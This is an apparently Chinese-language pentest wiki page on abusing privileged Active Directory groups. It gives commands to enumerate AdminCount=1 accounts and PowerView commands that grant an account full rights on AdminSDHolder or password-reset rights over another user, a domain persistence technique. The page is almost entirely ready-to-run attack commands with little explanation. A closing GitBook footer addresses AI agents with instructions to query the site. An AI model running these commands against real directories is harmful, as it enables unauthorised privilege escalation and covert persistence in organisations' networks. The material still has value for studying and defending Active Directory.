> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/wei-xian-de-nei-zhi-zu-shi-yong.md).

# 危险的内置组使用

```
如果您不希望每小时都覆盖修改过的 ACL，则应更改对象上的 ACL 模板CN=AdminSDHolder,CN=System或将所需对象的"AdminCount属性设置为0
当用户被分配到任何特权组时， AdminCount 属性自动设置为1，但当用户从这些组中删除时，它永远不会自动取消设置。
使用 查找用户AdminCount=1
>crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
或
>python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
>jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
或
>Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
>Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
或
>([adsisearcher]"(AdminCount=1)").findall()
```

#### AdminSDHolder

```
将用户添加到 AdminSDHolder 组
>Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
赋予账号titi为toto重置密码的权利
>Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
赋予所有权利
>Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/heng-xiang-yi-dong/wei-xian-de-nei-zhi-zu-shi-yong.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
